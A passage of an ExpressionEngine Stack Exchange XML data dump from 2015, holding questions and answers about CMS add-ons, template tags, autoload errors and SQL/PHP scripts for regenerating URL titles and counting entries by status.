Autoload" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34086" PostTypeId="2" ParentId="34084" CreationDate="2015-09-18T19:00:53.107" Score="0" Body="&lt;p&gt;You might want to look at the Charge subscriptions addon - &lt;a href=&quot;http://squarebit.co.uk/software/expressionengine/charge/&quot; rel=&quot;nofollow&quot;&gt;http://squarebit.co.uk/software/expressionengine/charge/&lt;/a&gt; - that will allow members to register for specific periods and have them automatically &quot;expire&quot; after a certain time (though it changes the members' group on expiry, not removing them). If you allow it member can renew their subscription as well.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2015-09-18T19:00:53.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34087" PostTypeId="2" ParentId="34085" CreationDate="2015-09-18T19:02:42.263" Score="0" Body="&lt;p&gt;&lt;code&gt;[18-Sep-2015 13:36:30] PHP Fatal error:  Uncaught exception 'Exception' with message 'Warning: include(CI/Exceptions.php): failed to open stream: No such file or directory  in /srv/www/htdocs/store/lib/Varien/Autoload.php on line 93' in /srv/www/htdocs/store/app/code/core/Mage/Core/functions.php:245&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, I would assume someone messed up your EE install (accidentally moved a folder or something). That path would look for that file in here: &lt;code&gt;/srv/www/htdocs/store/lib/Varien/CI/Exceptions.php&lt;/code&gt;. Does it live there? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also hate the autoload shit. Anyways, go to line 93 of that &lt;code&gt;Autoload.php&lt;/code&gt; file, and try adjusting it to the full path of the &lt;code&gt;Exceptions.php&lt;/code&gt; file. Probably something like &lt;code&gt;/srv/www/htdocs/system/codeigniter/CI/Exceptions.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure with your setup. Try SSH'ing in, and navigate to &lt;code&gt;/srv/www/htdocs/&lt;/code&gt;. Then pull one of these suckers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ find . -name &quot;Exceptions.php&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That'll locate that file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may all be bullocks since you have an interesting setup. Let me know.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-09-19T00:24:58.823" LastActivityDate="2015-09-19T00:24:58.823" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34088" PostTypeId="2" ParentId="32482" CreationDate="2015-09-19T03:02:23.383" Score="0" Body="&lt;p&gt;Here is a quick solution ...try this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;label for=&quot;categoryType&quot;&amp;gt;Category type:&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input  type=&quot;checkbox&quot; name=&quot;check_list[]&quot; value=&quot;value1&quot;&amp;gt;&#xA;    &amp;lt;label&amp;gt;value1&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input  type=&quot;checkbox&quot; name=&quot;check_list[]&quot; value=&quot;value2&quot;&amp;gt;&#xA;    &amp;lt;label&amp;gt;value2&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input  type=&quot;checkbox&quot; name=&quot;check_list[]&quot; value=&quot;value3&quot;&amp;gt;&#xA;    &amp;lt;label&amp;gt;value3&amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//PHP CODE&#xA;&#xA;$check_list = implode(&quot;|&quot;,$_POST['check_list']);&#xA;&#xA;//now just put $check_list in your mail body....ping back if you need any help&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6672" LastEditorUserId="3579" LastEditDate="2015-09-20T18:49:11.040" LastActivityDate="2015-09-20T18:49:11.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34090" PostTypeId="2" ParentId="26153" CreationDate="2015-09-19T21:11:17.310" Score="1" Body="&lt;p&gt;I've encountered exactly the same problem with 2.10.1. No matter what I set the status to, it always writes as 'Open'. I'm sure I've got the proper group assigned and title-casing for 'Pending'... I can only conclude it's a system bug.&lt;/p&gt;&#xA;" OwnerUserId="3792" LastActivityDate="2015-09-19T21:11:17.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34092" PostTypeId="2" ParentId="32790" CreationDate="2015-09-19T23:04:24.547" Score="0" Body="&lt;p&gt;&lt;strong&gt;See my other answer for the better solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alright, finally, some fun! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ha, not really. This is your answer in the terms of a MySQL call. However, I will warn you that I do not know the the exact list of what punctuation EE strips from the title when it generates the &lt;code&gt;url_title&lt;/code&gt;. I'll look it up and try and update it shortly, but I wanted to get this answer in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Back up your &lt;code&gt;channel_titles&lt;/code&gt; table before continuing&lt;/strong&gt;, and be prepared (know how) to restore it if things go awry. I can't emphasize this enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a MySQL call that will get you started.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;USE your_ee_schema;&#xA;UPDATE exp_channel_titles SET url_title = &#xA;LOWER(&#xA;    REPLACE(&#xA;        REPLACE(&#xA;            REPLACE(&#xA;                REPLACE(&#xA;                    REPLACE(&#xA;                        REPLACE(TRIM(title), &quot; &quot;, &quot;_&quot;),&#xA;                    &quot;!&quot;, &quot;&quot;),&#xA;                &quot;?&quot;, &quot;&quot;),&#xA;            &quot;~&quot;, &quot;&quot;),&#xA;        &quot;'&quot;, &quot;&quot;),&#xA;    &quot;\&quot;&quot; ,&quot;&quot;)&#xA;)&#xA;WHERE channel_id = 'your channel id' AND&#xA;WHERE site_id = 'your site id';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ok, so this chains MySQL &lt;code&gt;REPLACE&lt;/code&gt; functions to cut out improper &lt;code&gt;url_title&lt;/code&gt; characters. In this case, it starts with a &lt;code&gt;TRIM&lt;/code&gt; to remove extra spaces at the end and beginning of the &lt;code&gt;title&lt;/code&gt;. Then it first replaces all spaces with underscores (you may need to change this to replace it with dashes, depends on your EE setup). Then it chains out and removes these characters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;!?~'&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The most outer function is &lt;code&gt;LOWER&lt;/code&gt;, which then sets the value to be all lowercase. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Like I said&lt;/strong&gt;, back up your data, and this query definitely doesn't cover all of the characters EE removes when it generates url_title. You'll have to keep chaining &lt;code&gt;REPLACE&lt;/code&gt; functions together to get all of 'em; I'll dig in the core and try and get you a list, but you'll have to modify the query to add all the extra chained &lt;code&gt;REPLACE&lt;/code&gt; functions :p I can't do all the work for you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to be clear, this query took this &lt;code&gt;title&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Aren't Things healing Nicely?! &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and converted it and then inserted it to the &lt;code&gt;url_title&lt;/code&gt; as this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;arent_things_healing_nicely&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-09-20T07:30:38.700" LastActivityDate="2015-09-20T07:30:38.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34093" PostTypeId="2" ParentId="32790" CreationDate="2015-09-19T23:37:18.307" Score="2" Body="&lt;p&gt;Here's another wing at it, one that will probably be more successful. Note that if you have thousands and thousands of rows in your &lt;code&gt;exp_channel_titles&lt;/code&gt; table you might have to up your PHP's &lt;code&gt;mem_limit&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Again&lt;/strong&gt;, back it up before proceeding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, create yourself a temporary template somewhere. Make sure only SuperAdmin can view it (it's in the Access settings for the individual template). Next, turn PHP on output for that template. Here we go!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// what channel id are we working?&#xA;$channel_id = '666';&#xA;&#xA;// got multisite? if so add this&#xA;$site_id = '2';&#xA;&#xA;// set our separator, either _ or -&#xA;$separator = '-';&#xA;&#xA;// get all the titles and url_titles&#xA;$titles_array = ee()-&amp;gt;db-&amp;gt;select('title, url_title, entry_id')&#xA;                        -&amp;gt;from('channel_titles')&#xA;                        -&amp;gt;where('channel_id', $channel_id)&#xA;                        -&amp;gt;where('site_id', $site_id)&#xA;                        -&amp;gt;get()-&amp;gt;result_array();&#xA;&#xA;// now lets loop over our entries and actually do the replace&#xA;foreach($titles_array as $key =&amp;gt; &amp;amp;$value) &#xA;{&#xA;    // start with a shave and a haircut!&#xA;    $new_value = trim($value[$key]['title']);&#xA;&#xA;    // replace spaces with our separator&#xA;    $new_value = preg_replace('/[\ ]/', $separator, $new_value);&#xA;&#xA;    // now drop all non a-z characters, case insensitive, and not the _ or -&#xA;    $new_value = preg_replace('/[^a-z\-\_]/i', '', $new_value);&#xA;&#xA;    // now lower case that puppy&#xA;    $new_value = strtolower($new_value);&#xA;&#xA;    // stick it in the url_title spot&#xA;    $titles_array[$key]['url_title'] = $new_value;&#xA;}&#xA;&#xA;// now update those rows!&#xA;ee()-&amp;gt;db-&amp;gt;update_batch('channel_titles', $titles_array, 'entry_id'); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Killer! Now this is untested, so again, &lt;strong&gt;backup&lt;/strong&gt; the &lt;code&gt;channel_titles&lt;/code&gt; table before doing anything. If there are any PHP errors coming from this, comment or edit your question and I'll correct them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear, you should do everything I said, and then visit (or curl) this template &lt;strong&gt;ONCE&lt;/strong&gt;, then verify it did what you wanted. If not, immediately restore from the backup I've screamed you should have. If you're unsure what URI to hit, in general with EE, you can hit things like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http(s)://www.your-domain.com/your_template_group/your_test_template&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-09-20T07:46:18.267" LastActivityDate="2015-09-20T07:46:18.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34094" PostTypeId="1" CreationDate="2015-09-20T12:29:24.207" Score="0" ViewCount="35" Body="&lt;p&gt;I am trying to add a ALT on a picture with alt=&quot;{alt_text}&quot; and the engine does not resolve it. Why ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The width=&quot;{width}&quot; works fine&lt;/p&gt;&#xA;" OwnerUserId="6675" LastActivityDate="2015-09-20T12:29:24.207" Title="How can I Add an Alt on an Image" Tags="|image|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34096" PostTypeId="2" ParentId="32022" CreationDate="2015-09-20T14:10:28.237" Score="1" Body="&lt;p&gt;Low NoSpam is not deleted members. It is just helps to block spammer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want something different - try &lt;a href=&quot;https://devot-ee.com/add-ons/vz-bad-behavior&quot; rel=&quot;nofollow&quot;&gt;VZ Bad Behavior&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2015-09-20T14:10:28.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34097" PostTypeId="2" ParentId="32790" CreationDate="2015-09-20T14:14:07.207" Score="3" Body="&lt;p&gt;As variant you can just use &lt;a href=&quot;https://devot-ee.com/add-ons/mx-title-control&quot; rel=&quot;nofollow noreferrer&quot;&gt;MX Title Control&lt;/a&gt; and regenerate you url_ titles by any pattern;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AjnDc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AjnDc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;by default this ext is repeated default EE logic and convert url_title into a low case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want to change this logic, &lt;em&gt;/mx_title_control/ext.mx_title_control.php&lt;/em&gt;, line 125:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;replace&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url_title_name_out = $this-&amp;gt;convert_accented_characters(strtolower($url_title_name_out));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url_title_name_out = $this-&amp;gt;convert_accented_characters($url_title_name_out);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;p.s. maybe I will add a setting for this in next version ;)&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2015-09-20T18:00:09.507" LastActivityDate="2015-09-20T18:00:09.507" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="34098" PostTypeId="1" CreationDate="2015-09-21T00:18:33.560" Score="1" ViewCount="59" Body="&lt;p&gt;I have a job application form using FreeForm Pro.  The form displays multiple fields, and has 6 hidden fields (which are all set up as custom fields in the Freeform CP).  Three of those fields are pulled from an {embed} file which grabs information from a related playa field.  When I view the source code for the form, everything is populated.  However, I have two issues that I'm dealing with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, some of those hidden fields aren't showing their values in the notification emails.  So the notification email is showing Phone: {recruiter_phone} rather than putting the phone number in.  Again, the source code has the correct values, and when I view the entry in the CP it is populated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, I need to figure out a way to update the admin_cc_notify=&quot;name@domain.com&quot; based on the email address that is being pulled in the {embed file} for the recruiter.  The idea is that, when someone applies for a position, the recruiter will be notified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts are greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Todd &lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2015-09-21T00:18:33.560" Title="FreeForm Pro Notifications" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34099" PostTypeId="1" AcceptedAnswerId="34100" CreationDate="2015-09-21T09:06:19.907" Score="0" ViewCount="125" Body="&lt;p&gt;I'm trying to create a Prev / Next navigation system using thumbnail images. The images for each entry are held in a four column matrix field (field_id = 8). I just want the first image held in the first column (col_id_38). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using R.Sanchez's &lt;code&gt;{exp:parse_file_paths}&lt;/code&gt; plugin to pull the image data without resorting to more embed or stashed lists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since &lt;code&gt;{exp:channel:prev_entry}&lt;/code&gt; has to parsed outside of the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag, my current detail page template looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{segment_1}&quot; disable=&quot;member_data|pagination&quot; url_title=&quot;{segment_2}&quot;}&#xA;    {title}&#xA;    {body}&#xA;    {stash:embed name=&quot;snippets:page-villanav&quot; process=&quot;start&quot; parse_depth=&quot;2&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;stash:embed&lt;/code&gt; which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:next_entry channel=&quot;{segment_1}&quot; entry_id='{exp:transcribe:entry_ids channel=&quot;villa&quot;}' parse=&quot;inward&quot;}&#xA;    &amp;lt;div class=&quot;gallery&quot;&amp;gt;&#xA;       &amp;lt;a href=&quot;{path={segment_1}}&quot;&amp;gt;&#xA;       {title} // This is showing the correct Next entry title&#xA;       {exp:query sql=&quot;SELECT * FROM exp_matrix_data WHERE field_id = '8' &amp;amp;&amp;amp; entry_id = '{entry_id}'&quot;}&#xA;            {entry_id}          // This is showing the correct &quot;Next&quot; entry_id&#xA;            {exp:parse_file_paths}&#xA;                {background_image} &#xA;                    {image_01}  // This is showing the current entry's image filepath. Not the &quot;Next&quot; entry's first image filepath.&#xA;                {/background_image}&#xA;            {/exp:parse_file_paths}&#xA;        {/exp:query}&#xA;       &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:channel:next_entry}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that, despite the query displaying the &quot;Next&quot; entry_id, &lt;code&gt;{exp:parse_file_paths}&lt;/code&gt; is pulling the first image from the matrix field for the &quot;current&quot; entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues?   &lt;/p&gt;&#xA;" OwnerUserId="658" LastActivityDate="2015-09-21T09:31:29.810" Title="SQL query in a channel:next/prev_entry to output an image in a matrix column" Tags="|matrix|image|query|sql|next-prev|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34100" PostTypeId="2" ParentId="34099" CreationDate="2015-09-21T09:31:29.810" Score="0" Body="&lt;p&gt;Solved it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT col_id_38 AS file FROM exp_matrix_data WHERE entry_id = '{entry_id}'&quot;}&#xA;    {exp:parse_file_paths}&#xA;        {file}&#xA;    {/exp:parse_file_paths}&#xA;{/exp:query} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="658" LastActivityDate="2015-09-21T09:31:29.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34101" PostTypeId="1" CreationDate="2015-09-21T11:41:13.977" Score="0" ViewCount="34" Body="&lt;p&gt;When using member_id and group_id parameters in exp:user:xxx tag pairs, the specified group_id or member_id parameter is being ignored and outputs data for the logged in user.&#xA;Why is this happening and how do I force User to recognise what I need it to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: found out the reason. I'd inadvertently nested 2 exp:user:xxx pairs. Un-nesting them cured it. Surprise.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastEditorUserId="2727" LastEditDate="2015-09-21T12:43:25.547" LastActivityDate="2015-09-21T12:43:25.547" Title="Solspace User ignoring member/group parameters" Tags="|solspace|solspace-user|parameters|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34102" PostTypeId="1" AcceptedAnswerId="34188" CreationDate="2015-09-21T11:42:53.273" Score="0" ViewCount="188" Body="&lt;p&gt;Could anyone tell me if the 'Omnipay: Braintree’ gateway has the ability to accept Paypal too please? Not really sure what I’m looking for in the repo: &lt;a href=&quot;https://github.com/thephpleague/omnipay-braintree&quot; rel=&quot;nofollow&quot;&gt;https://github.com/thephpleague/omnipay-braintree&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're specifically looking to use it with Expresso Store.&lt;/p&gt;&#xA;" OwnerUserId="820" LastActivityDate="2015-09-27T01:45:54.137" Title="Can 'Omnipay: Braintree' accept Paypal too?" Tags="|expresso-store|payment-gateway|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34103" PostTypeId="1" AcceptedAnswerId="34152" CreationDate="2015-09-21T13:50:43.817" Score="0" ViewCount="55" Body="&lt;p&gt;Has anyone written a plugin to generate shipping labels for USPS/UPS/FedEx for Expresso Store?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Or- has anyone generated templates with the native Expresso Store tags to do the same thing? (Create a list of orders, with links to &quot;shipping label templates&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Curious to see what, if anything, others have done here.&lt;/p&gt;&#xA;" OwnerUserId="6679" LastActivityDate="2015-09-26T12:17:04.097" Title="Generate/Print Shipping Labels with Expresso Store" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34104" PostTypeId="2" ParentId="34084" CreationDate="2015-09-21T15:09:54.270" Score="1" Body="&lt;p&gt;The solution I have implemented - as laid out by @CreateSean and @foamcow - is to use Zoo Visitor and EE's channel expiry field for each members' Zoo Visitor channel entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zoo Visitor holds the entered expiration date for the logged in user's entry as a global variable...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{visitor:global:expiration_date}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;which I used in the conditional to automatically display (or not display) the limited content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user is still a member of the site, in the appropriate group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once on the right track, everything I needed was here - &lt;a href=&quot;https://devot-ee.com/add-ons/support/zoo-visitor/viewthread/2823&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/support/zoo-visitor/viewthread/2823&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2015-09-21T15:09:54.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34105" PostTypeId="2" ParentId="30558" CreationDate="2015-09-21T17:44:40.717" Score="0" Body="&lt;p&gt;Was this ever fixed in the most recent version? I seem to be running into the same thing using the most recent version. Using Assets with S3. File uploads work fine, but when replacing an image with the same name, it hangs up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cc/ @brandon-kelly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting the following error when trying to replace:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vYcn8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vYcn8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="271" LastActivityDate="2015-09-21T17:44:40.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34106" PostTypeId="1" AcceptedAnswerId="34146" CreationDate="2015-09-21T18:17:44.063" Score="0" ViewCount="69" Body="&lt;p&gt;I have the plugin implemented on a website to detect for mobile devices and when it does it will display a slideshow instead of a video. This has been working fine, but I just noticed today that when viewing the site in Safari on the desktop that it is loading the mobile-only slideshow. I think this was working fine previously so I wonder if a recent Safari update changed things? Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:mobile_detect:device}&quot; != &quot;not_mobile&quot;}&#xA;&#xA;    (slideshow markup here)&#xA;&#xA;{/if}&#xA;&#xA;&#xA;{if &quot;{exp:mobile_detect:device}&quot; == &quot;not_mobile&quot;}&#xA;&#xA;    (video markup here)&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="603" LastActivityDate="2015-09-24T12:48:09.740" Title="MX Mobile Detect reading newest Safari version as a mobile device" Tags="|mobile|mx-mobile-detect|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34107" PostTypeId="1" CreationDate="2015-09-22T06:57:56.383" Score="0" ViewCount="210" Body="&lt;p&gt;I Am new in working with CartThrob and EE2. How i can assign &lt;code&gt;{exp:cartthrob:cart_total}&lt;/code&gt; value to a php variable.Please let me know how to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6681" LastActivityDate="2015-09-22T13:07:03.250" Title="CartThrob cart_total to a php php variable" Tags="|ee2|cartthrob|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34108" PostTypeId="1" CreationDate="2015-09-22T09:09:17.393" Score="0" ViewCount="89" Body="&lt;p&gt;I would like to get the total entries per status for each category group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 3 statuses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the best thing I can come up with is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;any&quot; status=&quot;Open&quot;}  {if count == total_results}{count}{/if}{/exp:channel:entries}&#xA;{exp:channel:entries channel=&quot;any&quot; status=&quot;closed&quot;}  {if count == total_results}{count}{/if}{/exp:channel:entries}&#xA;{exp:channel:entries channel=&quot;any&quot; status=&quot;test&quot;}  {if count == total_results}{count}{/if}{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think there has to be a smarter way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&#xA;Thank you&lt;/p&gt;&#xA;" OwnerUserId="3862" LastEditorUserId="3862" LastEditDate="2015-09-22T09:22:41.717" LastActivityDate="2015-09-22T11:47:12.283" Title="Getting total results per status" Tags="|status|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34109" PostTypeId="2" ParentId="34108" CreationDate="2015-09-22T11:47:12.283" Score="2" Body="&lt;p&gt;For best performance and simplicity...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT status as status_label, count(*) as total_results FROM exp_channel_titles GROUP BY status_label&quot;}&#xA;    {total_results} results for {status_label}.&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can just output a specific status using a conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if status_label == &quot;test&quot;}&#xA;    {total_results}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can refine the search if you have many other statuses you don't want included:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT status as status_label, count(*) as total_results FROM exp_channel_titles WHERE status IN (&quot;open&quot;, &quot;closed&quot;, &quot;test&quot;) GROUP BY status_label&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note I've used &quot;status_label&quot; instead of leaving it as just &quot;status&quot; so that it can be used within a channel entries tag pair without conflict of it's &quot;status&quot; tag value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/16634/display-the-number-of-entries-in-a-channel&quot;&gt;this&lt;/a&gt; answer, albeit exp:stats doesn't work as I have it turned off and doesn't allow you to refine to status.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-09-22T11:47:12.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34110" PostTypeId="2" ParentId="34106" CreationDate="2015-09-22T12:06:03.607" Score="2" Body="&lt;p&gt;Not sure if you're using the latest one - check &lt;a href=&quot;http://www.eec.ms/add-ons/mobile-device-detect&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Max (the developer) is often on here as a moderator so should be able to confirm...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the pi.mobie_detect.php file in the add-on folder, there's a list of mobile clients held in the variable &lt;code&gt;$_mobileClients&lt;/code&gt;, this is what is used to report if its a mobile device or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It detects the device by using &lt;code&gt;$_SERVER['HTTP_USER_AGENT']&lt;/code&gt; - so try a var_dump to output that and see what's being reported for your Safari for it to have fallen into the list of mobile devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you checked that your version of Safari is not emulating a mobile - which will mis-report the &lt;code&gt;HTTP_USER_AGENT&lt;/code&gt;? Assuming you have the developer tools enabled in Safari, you'll have a &lt;code&gt;Develop&lt;/code&gt; dropdown, select &lt;code&gt;User Agent&lt;/code&gt; and select the appropriate option.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-09-22T12:06:03.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34111" PostTypeId="2" ParentId="34107" CreationDate="2015-09-22T12:30:38.890" Score="0" Body="&lt;p&gt;You would need to enable PHP parsing for the template where you are using the variable. The parsing can be done on &quot;input&quot; or &quot;output&quot; and you will need to choose a setting depending on what you are trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be aware that enabling PHP within template code can be a security risk and there is often a &quot;better&quot; way to do things by means of creating a custom plugin or extension. This keeps the PHP away from your template code.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-09-22T12:30:38.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
